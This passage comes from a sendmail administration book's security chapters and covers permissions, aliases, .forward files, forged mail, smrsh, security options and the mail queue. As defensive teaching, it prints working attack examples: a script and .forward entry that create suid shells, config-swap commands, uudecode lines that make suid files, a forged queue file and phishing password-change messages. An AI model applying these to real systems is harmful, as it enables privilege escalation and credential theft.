-rw-r-r-  1 root     8199 Aug 25 07:54 /etc/sendmail.cf

Here, the /etc/sendmail.cf configuration file is correctly writable only by root. But the directory in which that file lives is owned by bin and writable by bin. Having write permission on that directory means that bin can rename and create files. An individual who gains bin permission on this machine can create a bogus sendmail.cf file by issuing only two simple commands:

% mv /etc/sendmail.cf /etc/...
% mv /tmp/sendmail.cf /etc/sendmail.cf

The original sendmail.cf is renamed ... (a name that is not likely to be randomly noticed by the real system administrator). The bogus /tmp/sendmail.cf then replaces the original:

drwxr-sr-x 11 bin      2560 Sep 22 18:18 /etc
-rw-r-r-  1 bin      4032 Nov 16 00:32 /etc/sendmail.cf

UNIX pays less attention to semiprivileged users than it does root. The user root, for example, is mapped to nobody over NFS, whereas the user bin remains bin. Consequently, the following rules must be observed to prevent malicious access to root-owned files:

  • All directories in the path leading to a root-owned file must be owned by root and writable only by root. This is true for all files, not just sendmail files.

  • Files owned by root must be writable only by root. Group write permission, although at times desirable, should consistently be avoided.

  • Because sendmail is running as root when processing the configuration file, care should be taken to ensure the safety of system files as well. All system directories and files must live in directories whose path component parts are owned by and writable only by root. All system files (except possibly suid or sgid files) must be owned by root and be writable only by root. If any program "breaks" after securing permissions, complain to your vendor at once!

22.5.1 Dangerous Write Permissions

The sendmail program, of necessity, needs to trust its configuration file. To aid in the detection of risks, it checks the permissions of its configuration file when first reading that file. If the file is writable by group or world, sendmail logs the following message: [13]

[13] This is done only when not in rule-testing mode to prevent spurious warnings when you already know you are using a weak configuration file with -C.

configfile: WARNING: dangerous write permissions

If sendmail is being started as a daemon or is being used to initialize the aliases database, it will print the same message to its standard error output.

22.5.2 Permissions for :include:

The sendmail program doesn't always run as root. When delivering mail, it often changes its identity into that of a nonprivileged user. When delivering to a :include: mailing list, for example, it can change its identity to that of the owner of the list. This too can pose security risks if permissions are not appropriate. Consider the following aliases file entry:

newprogs: :include:/usr/local/lists/proglist

Here, notification of new programs are mailed to the alias newprogs. The list of recipients is taken from the following file:

-rw-rw-r-  2 bin  prog   704 Sep 21 14:46 /usr/local/lists/proglist

Because this file is owned by bin, sendmail changes its identity to bin when delivering to the list of recipients. Unfortunately, the file is also writable by the group prog. Anyone in the group prog can add a recipient to that list, including one of the form

|/tmp/x.sh

This tells sendmail to deliver a copy of the message by running the program (a shell script) /tmp/x.sh. The sendmail program (which is still running as bin) executes that program as bin. Further, suppose the program /tmp/x.sh contains the following:

#!/bin/sh
cp /bin/sh /tmp/sh
chmod u+s /tmp/sh
cat - > /dev/null
exit 0

This causes bin first to make a copy of the Bourne shell in /tmp (a copy that will be owned by bin), then to set the suid bit on that copy (the u+s):

-rwsr-xr-x  1 bin    64668 Sep 22 07:38 /tmp/sh

The script then throws away the incoming mail message and exits with a zero value to keep sendmail unsuspecting. Through this process, an ordinary user in the group prog has created an suid shell that allows anyone to become the semiprivileged user bin. From the preceding discussion (see Section 22.5, "Permissions") you can see the trouble that can cause!

  • Mailing lists (:include:) must live in a directory, all the components of which are writable only by root. The lists themselves must be writable only by the owner. If the owner is an ordinary user, group write permissions can be enabled, provided that the user is advised of the risks.

  • Mailing list (:include:) files may safely be owned by root. When sendmail processes a root-owned mailing list, it changes itself to run as the user and group specified by the DefaultUser option (see Section 34.8.15). That option defaults to daemon but should be set to nobody and nogroup. The DefaultUser option should never be set to root.

22.5.3 Permissions for ~/.forward Files

The ~/.forward file can pose a security risk to individual users. There is a higher degree of risk if the user is root or one of the semiprivileged users (such as bin). Because the ~/.forward file is like an individual mailing list (:include:) for the user, risk can be encountered if that file is writable by anyone but the user. Consider the following for example:

drwxr-xr-x 50 george guest        3072 Sep 27 09:19 /home/george/
-rw-rw-r-  1 george guest          62 Sep 17 09:49 /home/george/.forward

Here, the user george's ~/.forward file is writable by the group guest. Anyone in group guest can edit george's ~/.forward file, possibly placing something like this into it:

\george
|"cp /bin/sh /home/george/.x; chmod u+s /home/george/.x"

Now all the attacker has to do is send george mail to create an suid george shell. Then, by executing /home/george/.x, the attacker becomes george.

  • The semiprivileged users such as bin, and root in particular, should never have ~/.forward files. Instead, they should forward their mail by means of the aliases file directly.

  • User ~/.forward files must be writable only by the owning user. Similarly, user home directories must live in a directory that is owned and writable only by root, and must themselves be owned and writable only by the user.

Some users, such as the pseudo-user uucp, have home directories that must be world-writable for software to work properly. If that software is not needed (if a machine, for example, doesn't run UUCP software), that home directory should be removed. If the directory must exist and must be world-writable, you should create a protected ~/.forward file there before someone else does. The best protection is to create a nonempty directory called ~/.forward, owned by root, and set its permissions to 000:

# cd ~uucp
# rm -f .forward
# mkdir .forward
# touch .forward/uucp
# chown root .forward .forward/uucp
# chmod 000 .forward .forward/uucp
# chmod +t ~uucp
# chown root ~uucp

Even though the ~uucp directory is world-writable (so anyone can remove anything from it), no one but root can remove the ~/.forward directory because it is not empty. The mode of 000 protects the file .forward/uucp from being removed. The mode of +t prevents users from renaming files or directories that they do not own. Finally, root is made to own the ~uucp directory so that uucp will be unable to clear the +t bit. Even with this protection, mail for uucp should be routed to a real user with the aliases(5) file.

Note that all critical dot files in a world-writable home directory must be protected from creation by others. Each of .forward, .rhosts, .login, .cshrc, .profile, and .logout should be a nonempty, root-owned directory with mode 000. World-writable home directories must be owned by root instead of by the user, and they must have the +t (sticky bit) set.

When processing a user's ~/.forward file, sendmail requires that the file be owned by the user or by root. If ownership is correct, it then examines the ~/.forward file's permissions. If that file is world-writable, sendmail ignores (and logs) attempts to run programs and to write directly to files. If the UnsafeGroupWrites option (see Section 34.8.73, UnsafeGroupWrites) is true, sendmail also checks for group write permissions and, if it is found, similarly ignores attempts to run programs and to write to files.

22.5.4 Recommended Permissions

Table 22.1 shows the recommended ownerships and permissions for all the files and directories in the sendmail system. The path components will vary depending on the vendor version of sendmail you are running. For example, where we show the /usr/lib/sendmail directory, your site may use /usr/etc/sendmail, or even /usr/lib/mail/sendmail.

Table 22.1: Recommended Permissions
Path | Type | Owner | Mode |
/ | Directory | root | 0755 | drwxr-xr-x
/usr | Directory | root | 0755 | drwxr-xr-x
/usr/lib[14] | Directory | root | 0755 | drwxr-xr-x
/usr/lib/sendmail | File | root | 06511 | -r-s--s--x[15]
/etc | Directory | root | 0755 | drwxr-xr-x
/etc/sendmail.cf | File | root | 0644 or 0640 |
OS/etc/sendmail.st | File | root | 0644 | -rw-r--r--
OH/etc/sendmail.hf | File | root | 0444 | -r--r--r--
OA/etc/aliases | File | root | 0644 | -rw-r--r--
/etc/aliases.pag | File | root | 0644 | -rw-r--r--
/etc/aliases.dir | File | root | 0644 | -rw-r--r--
/etc/aliases.db | File | root | 0644 | -rw-r--r--
F/path | Directory | root | 0755 | drwxr-xr-x
F/path/file | File | n/a | 0444 or 0644 |
/var | Directory | root | 0755 | drwxr-xr-x
/var/spool | Directory | root | 0755 | drwxr-xr-x
OQ/var/spool/mqueue | Directory | root | 0700[16] | drwx---
:include:/path | Directories | root | 0755 | drwxr-xr-x
:include:/path/list | File | n/a | 0644 | -rw-r--r--

[14] The sendmail program sometimes lives in /usr/sbin or in some other directory. If so, adjust this path accordingly.

[15] The sendmail program may need to be sgid kmem for the load average to be checked on some systems.

[16] CERT (the Computing Emergency Response Team) recommends that the mqueue directory be mode 0700 to prevent potential security breaches.

Previous: 22.4 The Configuration File | sendmail | Next: 22.6 The Aliases File
22.4 The Configuration File | Book Index | 22.6 The Aliases File


[Chapter 22] 22.6 The Aliases File

sendmailSearch this book
Previous: 22.5 Permissions Chapter 22
Security 		Next: 22.7 Forged Mail

22.6 The Aliases File

The aliases file can easily be used to gain privileged status if it is wrongly or carelessly administered. In addition to proper permissions and ownership you should be aware of potentially harmful entries that you may have inherited from the vendor or previous administrators. For example, many vendors used to ship systems with a decode alias in the aliases file. This practice is becoming less common.

# you may wish to comment this out for security
decode:    |/usr/bin/guudecode

The intention is to provide an easy way for users to transfer binary files using mail. At the sending site the user converts the binary to ASCII with uuencode(1), then mails the result to the decode alias at the receiving site. That alias pipes the mail message through the /usr/bin/uudecode program, which converts the ASCII back into the original binary file.

The uudecode(1) program takes the name of the file to create from the file it is decoding. That information is in the begin line, used by uudecode. For example, here's an attempt to use uudecode(1) to place a bogus queue file directly into the sendmail queue:

begin 777 /var/spool/mqueue/qfAA12345

Here, the begin tells uudecode to begin conversion. The 777 is the permissions to give to the file that will be created. That is followed by the full pathname of the file. If the queue directory were wrongly owned by daemon, any outsider could create a bogus queued message at your site.

Some versions of uudecode (such as the one with SunOS) will create suid files. That is, a begin line like the following can be used to create an suid daemon shell in /tmp:

begin 4777 /tmp/sh

The decode alias should be removed from all aliases files. Similarly, every alias that executes a program - that you did not place there yourself and check completely - should be questioned and probably removed.

22.6.1 The Alias Database Files

The aliases(5) file is often stored in dbm(3) or db(3) database format for faster lookups. The database files live in the same directory as the aliases file. For all versions of sendmail they are called aliases.dir and aliases.pag (but for V8 sendmail, only a single database file might exist and be called aliases.db).

It is useless to protect the aliases(5) file if you do not protect its corresponding database files. If the database files are not protected, the attacker can create a private aliases file and then run

% /usr/lib/sendmail -oA./aliases -bi

This causes sendmail to build ./aliases database files in the current directory. The attacker then copies those bogus database files over the unprotected system originals. The sendmail program never detects the change, because the database files appear to be newer than the aliases file.

Note also that the aliases file and its database files must be owned by root, and writable only by root. They must live in a directory, every path component of which is owned by and writable only by root.

Previous: 22.5 Permissions | sendmail | Next: 22.7 Forged Mail
22.5 Permissions | Book Index | 22.7 Forged Mail


[Chapter 22] 22.7 Forged Mail

sendmailSearch this book
Previous: 22.6 The Aliases File Chapter 22
Security 		Next: 22.8 Security Features

22.7 Forged Mail

Although they are aware that paper mail can be forged, most users are blissfully unaware that email can also be forged. Forged mail can lead to a serious breach of security. Two points of vulnerability that require particular attention are the queue file and the SMTP interface of sendmail.

22.7.1 Forging with the Queue Directory

All versions of sendmail trust the files in the mail queue. They assume that only sendmail has placed files there. As a consequence, a poorly protected queue directory can allow the attacker to create mail that looks 100 percent authentic. This can be used to send forged mail, to append to system critical files, or to run arbitrary programs as root or other users. Consider the following bogus qfAA00001 file for sending forged mail (qf files are described in Section 23.9, "The qf File Internals"):

V1
T829313834
P943442
$_root@yourhost
S<root@yourhost>
RPFD:george@yourhost
H?P?return-path: <root@yourhost>
Hmessage-id: <199604121257.GAA12601@yourhost>
HFrom: root@yourhost
HDate: Fri, 13 Dec 1996 05:47:46 -0700
HTo: george@yourhost
HSubject: Change your Password Now!!

This qf file causes mail to be sent to george that appears in all ways to come from root. There is nothing in this qf file to indicate to the recipient (or to sendmail) that the message is not authentic. Now further suppose that the df file (the message body) contains the following text:

The system has been compromised. Change your password NOW!
Your new password must be:

                           Fuzz7bal
Thank you,
        -System Administration

Unfortunately, in any large organization there will be more than a few users who will obey a message like this. They will gladly change their password to one assigned to them, thereby providing the attacker with easy access to their accounts.

  • The queue directory must be owned by root and writable only by root. CERT recommends that the queue directory always be mode 0700.

  • The queue files placed into the queue by sendmail must be well protected by defining narrow default permissions with the TempFileMode (F) option (see Section 34.8.68, TempFileMode (F)). A default of 0600 is best.

22.7.2 Forging with SMTP

We won't illustrate the SMTP interaction here. But note that anyone can connect to your local sendmail via telnet(1) at port 25 or run sendmail with the -bs command-line switch. Once connected, sendmail must of necessity believe everything it receives. The only exception is the hostname sent in the HELO message. [17] In that case the sendmail program looks up the real hostname based on the connection. If the stated hostname and the real hostname differ, the false name is used as the name of the sending host with the real name added in parentheses:

[17] V8 sendmail also tries to verify the connection itself with identd if possible.

550 your.host hello false.host (real.host), pleased to meet you

The real hostname is then used as the sending hostname in the construction of all headers. The result (the header and body received by the user) might look something like this:

From root@false.host Dec 13 14:36:40 1996
Received: from real.host by your.host (8.8.4/8.8.4)
        id AA00998; Fri, 13 Dec 1996 14:36:38 -0700
Message-Id: <9612213133.GAA05059@your.host>
From: root@false.host (System Administration)
To: you@your.host
Subject: Change your password now!
Date: Fri, 13 Dec 1996 05:47:46 -0700

To improve security at our location you are requested to immediately
change your password. The password you have been assigned is:

        7Fuzzy1's

Thank you,
        -root

Fortunately, the Received: header above contains the name of the real host (which is not always the case). An attentive user can tell that this is a forged message because the host in that header line differs from the false hostname used in the other header lines.

However, most mail-reading programs allow users to filter out (prevent your seeing) uninteresting header lines. [18] Typically, users choose to ignore headers such as Received: and Message-ID:. For such users the task of detecting forged mail is much more difficult. Instead of seeing the above message, with real hostnames, they might see the following with only false names:

[18] In fact, the gnu-emacs(1) mail reader deletes those lines irrevocably.

From root@false.host Dec 13 14:36:40 1996
From: root@false.host (System Administration)
To: you@your.host
Subject: Change your password now!
Date:  Fri, 13 Dec 1996 14:36:38 -0700

To improve security at our location you are requested to immediately
change your password. The password you have been assigned is:

        7Fuzzy1's

Thank you,
        -root

Clearly, a user who sees only this much of the mail message will be more likely to believe that it is real.

  • Educate your users that mail can be forged. Teach them what to look for when they receive a message of questionable authenticity.

  • Rarely, if ever, send mail as root. Always communicate as yourself and always use a distinctive style of writing. If users never see mail from root, they will be more likely to question such mail when it arrives.

  • Train users to never send (or ask to receive) clear-text passwords or other security-related information by email.

Previous: 22.6 The Aliases File | sendmail | Next: 22.8 Security Features
22.6 The Aliases File | Book Index | 22.8 Security Features


[Chapter 22] 22.8 Security Features

sendmailSearch this book
Previous: 22.7 Forged Mail Chapter 22
Security 		Next: 22.9 Pitfalls

22.8 Security Features

We now turn our attention from security problems to security features:

  • The T configuration command (class t) defines which users are allowed to use the -f command-line switch to override the sender address with one of their own.

  • The smrsh program replaces /bin/sh as the program run by the prog delivery agent to execute programs.

  • Several options can be used to tighten security and to provide reports of security violations.

  • The /etc/shells file prevents ordinary users from running programs on your mail server.

22.8.1 Trusted Users

Under pre-V8 sendmail, trusted users are those who are allowed to use the -f command-line switch (see Section 36.7.21, -f and -r) to override the sender address with one of their own. V8.1 sendmail eliminated this configuration command. V8.7 restored it, but as a class, and uses that class only to suppress warning headers.

Trusted users are necessary for certain kinds of mail to flow properly. By way of example, the rmail(8) program of the UUCP suite of programs runs suid to uucp. If rmail were not to use the -f command-line switch, all mail from UUCP would wrongly appear to come from the uucp user. To circumvent this problem, rmail runs sendmail as

/usr/lib/sendmail -f reallyfrom

This tells sendmail to show, in both the header and envelope, the message as being from reallyfrom, rather than from uucp.

The concept of a trusted user is intended to prevent ordinary users from changing the sender address and thereby forging mail. Although that intention is laudable and good for UUCP, it can cause problems with mailing lists. Consider the following:

list: "|/usr/lib/sendmail -oi -flist-request -odi list-real"
list-real:    :include:/export/share/mail-lists/list.list

The intention here is for all mail sent to the mailing list named list to be dispatched as though it were sent from the address list-request (the -f). This causes errors to be returned to the maintainer of the list (the list-request), but replies still go to the real sender.

Unfortunately, this scheme fails when mail is posted to list from the local machine. Recall that only trusted users can change the identity of the sender with -f. This is why V8.1 sendmail eliminated the concept of the trusted user (anyone could use the -f switch). Beginning with V8.7, sendmail restored the concept but uses the T command only to suppress warning headers.

22.8.1.1 Declare trusted users (not V8.1 through V8.6)

Trusted users are defined by those lines in the sendmail.cf file that begin with the uppercase letter T. Only trusted users may use the sendmail program's -f command-line switch to specify who sent the message. Beginning with V8.7 sendmail, the class t may also be used.

The T sendmail.cf command must begin a line. One or more space-delimited usernames then follow on that same line. There may be multiple T commands in a sendmail.cf file, each adding names to the list of trusted users. Prior to V8 there could be at most MAXTRUST trusted users, where MAXTRUST was defined in conf.h when you compiled sendmail. Beginning with V8.7, there is no limit:

T uucp                     <-  legal in V8.1 through V8.6 but ignored
Troot daemon               <-  legal in V8.1 through V8.6 but ignored
Ct uucp                    <-  V8.7 and above
Ctroot daemon              <-  V8.7 and above

The two T commands show that there may optionally be whitespace between the T and the first name in any list of names. They indicate that uucp, root, and daemon are trusted and have been added to the list of trusted users in that order. The two class declarations show a similar declaration for use beginning with V8.7 sendmail (but note that V8.7 and above can still use the old syntax).

Prior to V8 sendmail, if you listed more than MAXTRUST trusted users, sendmail printed and syslog(3)'ed a message like this:

sendmail: too many T lines, 32 max

This message was not fatal. The sendmail program issued it for each excess T line (ignored those trusted users) and continued to run.

Prior to V8 sendmail, if a user who was not trusted attempted to use the -f switch, that attempt was silently ignored (silently disallowed). Beginning with V8.7 sendmail, if a user who is not trusted attempts to use the -f switch, that attempt may produce an X-Authentication-Warning: header (see Section 35.10.35, X-Authentication-Warning:) if the PrivacyOptions (p) option (see Section 34.8.47) has authwarnings listed.

  • Even though some users find them annoying, we recommend that you always enable X-Authentication-Warning: headers. They warn of suspicious behavior. If the behavior is legitimate, modify that behavior to eliminate the header instead of eliminating the more valuable warning headers.

22.8.2 The smrsh Program

One line of attack against all users, including root, is to modify a user's ~/.forward file (see Section 22.5.3, "Permissions for ~/.forward Files"). Unless you take steps to prevent it, sendmail will run any program that it finds in a user's ~/.forward file:

\user
|"/usr/ucb/vacation user"                                      <-  ok
|"/tmp/x.sh"                                                   <-  An attack!
|"cp /bin/sh /home/george/.x; chmod u+s /home/george/.x"       <-  An attack!

As an aid in preventing such attacks, V8 sendmail offers the smrsh (sendmail restricted shell) program, and V8.7 sendmail offers the smrsh FEATURE (see Section 19.6.22, FEATURE(smrsh)) as an easy way to install smrsh with the m4 configuration technique.

The smrsh program is supplied in source form with the sendmail distribution in the smrsh directory. The README file in that directory describes how to compile and install smrsh.

The smrsh program replaces the /bin/sh program in the prog delivery agent (see Section 30.2.1, "Required Symbolic Names") declaration:

Mprog, P=/usr/local/etc/smrsh, ...

Thereafter, whenever smrsh is called to run a program, smrsh strips the leading path from the program name and looks for that program in its special /usr/adm/sm.bin directory. If the program is not found in that directory, the message bounces. Thus in our first attack example above, with smrsh installed and with x.sh not in the /usr/adm/sm.bin directory, the ~/.forward line

|"/tmp/x.sh"

would cause the email message to bounce with this error:

smrsh: /usr/adm/sm.bin/x.sh: not found

The smrsh program also screens out program lines that contain suspicious characters (such as our second attack above):

|"cp /bin/sh /home/george/.x; chmod u+s /home/george/.x"

In this instance, smrsh would reject the command line (and thus bounce the message) because it contained a semicolon character:

smrsh: cannot use ; in command

  • The smrsh program is simple yet immensely valuable. We recommend that it be routinely installed on all your machines.

  • Be very conservative when choosing programs to put in the /usr/adm/sm.bin directory. Never, for example, put programs there that allow shell escapes.

22.8.3 Security Options

The sendmail program offers several options that can help you to improve the security at your site. Some we have discussed above. We touch on a few more in this section, and provide a recommended setting where appropriate. For a full description of each, see the sections referenced.

22.8.3.1 The DefaultUser option

The DefaultUser (u) option (see Section 34.8.15) can be used to ensure that the default identity (when it is not running as root) is a safe one. CERT recommends that you create a pseudo-user whose uid and gid are used nowhere on your system, then define the DefaultUser (u) option to be that pseudo-user. As an additional precaution, make sure that pseudo-user lacks a valid shell and has no valid home directory:

nullmail:*:32765:32765:Sendmail Default User:/no/such/directory:/bin/false

At the same time, set up a group entry for this user's group:

nullgroup:*:32765:

This is necessary if you want to refer to this group symbolically at some later time.

Avoid using the name nobody, because root is mapped to nobody over NFS. If root were to create a file over NFS that it thought was safe because root owned it and because it was readable only by root, that root user would be surprised to find that file owned by nobody. Consequently, we recommend that in an NFS environment you set the default user to one less than nobody. For example, if nobody has the uid 65534, you could set up

nullmail:*:65533:65533:Sendmail Default User:/no/such/directory:/bin/false

22.8.3.2 The ForwardPath option

The ForwardPath (J) option (see Section 34.8.27, ForwardPath (J)) lists a series of directories that sendmail will search for user ~/.forward files. At most sites there are users who are savvy and able to correctly administer their own ~/.forward files, but there are others who are untrained or careless. One way to allow experienced users use of the ~/.forward facility while denying it to the others is with the ForwardPath (J) option:

O ForwardPath=/usr/local/etc/forwards/$u.forward:$z/.forward

Here, sendmail will first search the /usr/local/etc/forwards directory to find a file that begins with the user's login name (the $u see Section 31.10.36, $u) followed by a .forward. If you set up such a file for the untrained user, say bob:

-rw-r-r-  1 root  system   0 Dec 13  1996  /usr/local/etc/forwards/bob.forward

and if that file is empty, bob's mail will always be delivered locally, no matter what bob puts in his ~/.forward file. For experienced users you can omit their files from the /usr/local/etc/forwards directory, thus enabling their use of their /.forward files.

22.8.3.3 The LogLevel option

The sendmail program normally logs a great deal of useful information via syslog (see Section 26.1.1, "syslog(3)"). There will be times, however, when the normal amount of information is insufficient. Consider, for example, that some outsider is using your site to forge mail. Since this is done over an SMTP connection, it would be handy to have both sides of all SMTP conversations logged. You can do this with the LogLevel (L) option (see Section 34.8.33):

O LogLevel=12        <-  V8.8 and above to log SMTP

Beginning with V8.8 sendmail, a level of 12 causes both sides of every SMTP conversation to be logged. That logging looks very similar to the logging produced by verbose mode (see Section 4.2, "Verbose (-v)").

Note that after changing the log level in your configuration file you will need to restart the daemon. With V8.7 and above sendmail you restart the daemon like this:

# kill -HUP `head -1 /etc/sendmail.pid`

Be aware that a log level of 12 produces a huge amount of output. Be prepared to prune your log files more often than usual.

22.8.3.4 The PostmasterCopy option

The PostmasterCopy (P) option (see Section 34.8.46, PostmasterCopy (P)) causes a copy of every bounced message to be delivered to a named user. Usually, that user is the person who handle email problems. But since clumsy intrusion attempts can result in bounced mail, there will be times when bounced mail should also be delivered to the security administrator. Consider the following:

--- Transcript of session follows ---
... while talking to your.site.domain.:
>>> RCPT To:<root@your.site.domain>
<<< 550 cannot open /tmp/.../getshell: No such file or directory
550 cannot open /tmp/.../getshell: No such file or directory

This bounced mail message indicates that someone tried to become root by breaking through your aliases database.

Users are added to the list of those who get copies of bounced messages with the PostmasterCopy (P) option:

O PostmasterCopy=postmaster,securitymaster

                                   added

Here, securitymaster (probably an alias to a real user) was added.

22.8.3.5 The PrivacyOptions option

The PrivacyOptions (p) option (see Section 34.8.47) is used to limit the amount of information offered to the outside world and to limit other kinds of access. The most restrictive setting for the PrivacyOptions (p) is probably best:

O PrivacyOptions=goaway,restrictmailq,restrictqrun

This setting disables the expn and vrfy SMTP commands, requires other sites to identify themselves before sending mail, and also limits access to the mail queue directory.

As a general rule it is best to begin with tight security. This minimizes your risk at the start and allows you to cautiously ease restrictions at a comfortable rate. Beginning with loose restrictions may force you to tighten restrictions in a panic when it is least convenient to do so.

22.8.3.6 The SafeFileEnvironment option

Beginning with V8.7 sendmail, the SafeFileEnvironment option (see Section 34.8.58, SafeFileEnvironment) determines how delivery will be made to files. Ordinarily, sendmail will deliver to anything, provided that it has permission to do so (see Section 24.2.2, "Delivery to Files"). It can, for example, deliver by appending to ordinary files or by writing to a device such as /dev/log.

If the SafeFileEnvironment option is declared, sendmail will only deliver to ordinary files. This improves security by preventing anyone from scribbling over sensitive things, such as directories and devices. (Beginning with V8.8 sendmail, it is still okay to write to /dev/null even though this option is set.)

The SafeFileEnvironment option can also be used to define a directory under which all files that will be appended to must exist. This may inconvenience some users but will generally improve the security of your site. We recommend:

O SafeFileEnvironment=/path

This takes care of both security enhancements. Of course, you will need to create the directory specified in /path and modify all path references in your aliases file before actually enabling this.

If all you want to do is prevent writing to directories and devices, and if you do not want to place all files in a special path, you can accomplish this by defining /path as the root directory:

O SafeFileEnvironment=/

22.8.3.7 The TempFileMode option

The TempFileMode (F) option (see Section 34.8.68) specifies the mode (file permissions) to give temporary files and queue files. In general, all files that are created by sendmail should be considered proprietary for safety's sake. We recommend a setting of:

O TempFileMode=0600

With this narrow setting, the risk of accidental or malicious easing of permissions of your mail archive directories or queue becomes less of a risk.

22.8.4 The /etc/shells file

To prevent certain users from running programs or writing to files by way of the aliases or ~/.forward files, V8 sendmail introduced the concept of a "valid shell." Just before allowing delivery via an alias such as these:

|"/some/program"
/save/to/a/file

the user's password entry is looked up. If the shell entry from that password entry is a valid one, delivery is allowed. A shell is valid if it is listed in the /etc/shells file. If that file does not exist, sendmail looks up the shell in its internal list that looks (more or less) like this: [19]

[19] This is an amalgamation of many vendor lists. See conf.c in the source distribution for details.

/bin/bsh
/bin/csh
/bin/ksh
/bin/pam
/bin/posix/sh
/bin/rksh
/bin/rsh
/bin/sh
/bin/tsh
/usr/bin/bsh
/usr/bin/csh
/usr/bin/keysh
/usr/bin/ksh
/usr/bin/pam
/usr/bin/posix/sh
/usr/bin/rksh
/usr/bin/rsh
/usr/bin/sh
/usr/bin/tsh

With this technique it is possible to prevent certain users from having sendmail running programs or delivering to files on their behalf. To illustrate, consider the need to prevent the ftp pseudo-user from misusing sendmail:

ftp:*:1092:255:File Transfer Protocol Program:/u/ftp:/no/shell

Here, any attempt by ftp to send mail through a program or into a file will fail because the shell /no/shell is not a valid shell. Such mail will bounce with one of these two errors:

User ftp@here.us.edu doesn't have a valid shell for mailing to programs
User ftp@here.us.edu doesn't have a valid shell for mailing to files

Note that unusual circumstances may require you to allow users with invalid shells to run program or deliver to files. To enable this for all such users (as on a mail server with restricted logins), place the following line directly in the /etc/shells file:

/SENDMAIL/ANY/SHELL/

To enable this for selected users, just replace their shell with a bogus one that is listed in /etc/shells:

ftp:*:1092:255:File Transfer Protocol Program:/u/ftp:/bogus/shell

We recommend that all pseudo-users (such as bin and ftp) be given invalid shells in the password file and that /SENDMAIL/ANY/SHELL/ never be used.

Previous: 22.7 Forged Mail | sendmail | Next: 22.9 Pitfalls
22.7 Forged Mail | Book Index | 22.9 Pitfalls


[Chapter 22] 22.9 Pitfalls

sendmailSearch this book
Previous: 22.8 Security Features Chapter 22
Security 		Next: 23. The Queue

22.9 Pitfalls

  • The sendmail program is only as secure as the system on which it is running. Correcting permissions and the like is useful only if such corrections are systemwide and apply to all critical system files and programs.

  • Time spent tightening security at your site is best spent before a break-in occurs. Never believe that your site is too small or of too little consequence. Start out by being wary, and you will be more prepared when the inevitable attack happens.

  • Get and set up identd(8) at your site. When queried about who established a network connection, it returns the login identity of the individual user. Become a good network citizen.

  • Multimedia mail, such as MIME, is more difficult, but not impossible, to forge.

  • Newer versions of perl(1) object to PATH environmental variables that begin with a dot (such as .:/bin:/usr/bin). V8 clears the PATH variable before executing programs in a user's ~/.forward file. Some shells put it back with the dot first. Under such versions of the Bourne shell, execute perl(1) scripts like this:

    |"PATH=/bin:/usr/bin /home/usr/bin/script.pl"

  • There is no check in the T command that the names listed are names of real users. That is, if you mistakenly enter Tuupc when you really meant Tuucp, pre-V8 sendmail remained silent and UUCP mail mysteriously failed. V8.7 and above sendmail logs warning messages.

  • Many fine books and papers are available that can help you to improve the security at your site. A few are listed in the bibliography at the end of this book.

Previous: 22.8 Security Features | sendmail | Next: 23. The Queue
22.8 Security Features | Book Index | 23. The Queue


[Chapter 23] The Queue

sendmailSearch this book
Previous: 22.9 Pitfalls Chapter 23 Next: 23.2 Parts of a Queued Message

23. The Queue

Contents:
Overview of the Queue
Parts of a Queued Message
A Bogus qf File (V8 only): Qf
Printing the Queue
How the Queue Is Processed
Cause the Queue to Be Processed
Process Alternate Queues
Pitfalls
The qf File Internals

Mail messages may either be delivered immediately or be held for later delivery. Held messages are referred to as "queued." They are placed into a holding directory, usually called mqueue, from which they are delivered at a later time. There are many reasons a mail message may be queued:

  • If a mail message is temporarily undeliverable, it is queued and delivery is attempted later. If the message is addressed to multiple recipients, it is queued only for those recipients to whom delivery is not immediately possible.

  • If the s configuration option is set to true, all mail messages are queued for safety while delivery is attempted. The message is removed from the queue only if delivery succeeds. If delivery fails, the message is left in the queue, and another attempt is made to deliver it later. This causes the mail to be saved in the unhappy event of a system crash during processing.

  • If sendmail is run with the DeliveryMode (d) option (see Section 34.8.16, DeliveryMode (d)) set to queue-only or defer, all mail is queued, and no immediate delivery attempt is made. A separate queue run is required to attempt delivery.

  • If the load (average number of blocked processes) becomes higher than the value given to the QueueLA (x) option (see Section 34.8.50, QueueLA (x)), sendmail queues messages rather than attempting to deliver them. A separate queue run is required later to process the queue.

23.1 Overview of the Queue

The sendmail queue is implemented by placing held messages into a directory. That directory and its name (usually mqueue) are specified in the configuration file by the QueueDirectory (Q) option (see Section 34.8.48, QueueDirectory (Q)):

OQ/var/spool/mqueue                           <-  pre-V8.7 form
O QueueDirectory=/var/spool/mqueue            <-  beginning with V8.7

If the QueueDirectory (Q) option is missing, the name defaults to mqueue. When the location is relative (as mqueue), it is relative to the location where sendmail is run. Since the sendmail daemon is typically started from an rc file at boot time, such relative locations are usually relative to the root (/) directory. [1]

[1] Of course, if sendmail is started somewhere else or by someone else, the queue directory will be a subdirectory under that other starting directory.

After sendmail has processed its configuration file, it does a chdir(2) into its queue directory and does all the rest of its work from there. This change into the queue directory has two side effects:

  • Should the sendmail program fault and produce a core dump, the core image is left in the queue directory.

  • Any relative pathnames that are given to options in the configuration file are interpreted as relative to the queue directory. (This is not true for the F configuration command; see Section 32.1.2, "The F Class Command". Those files are processed at the same time as the configuration file, before the chdir.)

The queue directory should be set to have very narrow permissions. It must be owned by root. We (and CERT) recommend a mode of 0700. Prior to V8 sendmail, such narrow permissions would cause C-shell scripts run from a ~/.forward files to fail. V8 sendmail lets you specify alternative directories in which to run programs (see the D= delivery agent equate, Section 30.4.3, D=). This allows you to use mode 0700 queue directories without the associated problems.

As a further precaution, all the components of the path leading to the queue directory should be owned by root and be writable only by root. In the case of our example of /var/spool/mqueue, permissions should look like this:

drwxr-xr-x  root    /
drwxr-xr-x  root    /var/
drwxr-xr-x  root    /var/spool/
drwx---  root    /var/spool/mqueue/

For additional security, see the restrictmailq keyword for the PrivacyOptions (p) option (see Section 34.8.47, PrivacyOptions (p)). It allows only users in the same group as the group ownership of the queue directory to be able to print its contents with mailq or -bp (see Section 23.4, "Printing the Queue").

Previous: 22.9 Pitfalls | sendmail | Next: 23.2 Parts of a Queued Message
22.9 Pitfalls | Book Index | 23.2 Parts of a Queued Message


[Chapter 23] 23.2 Parts of a Queued Message

sendmailSearch this book
Previous: 23.1 Overview of the Queue Chapter 23
The Queue 		Next: 23.3 A Bogus qf File (V8 only): Qf

23.2 Parts of a Queued Message

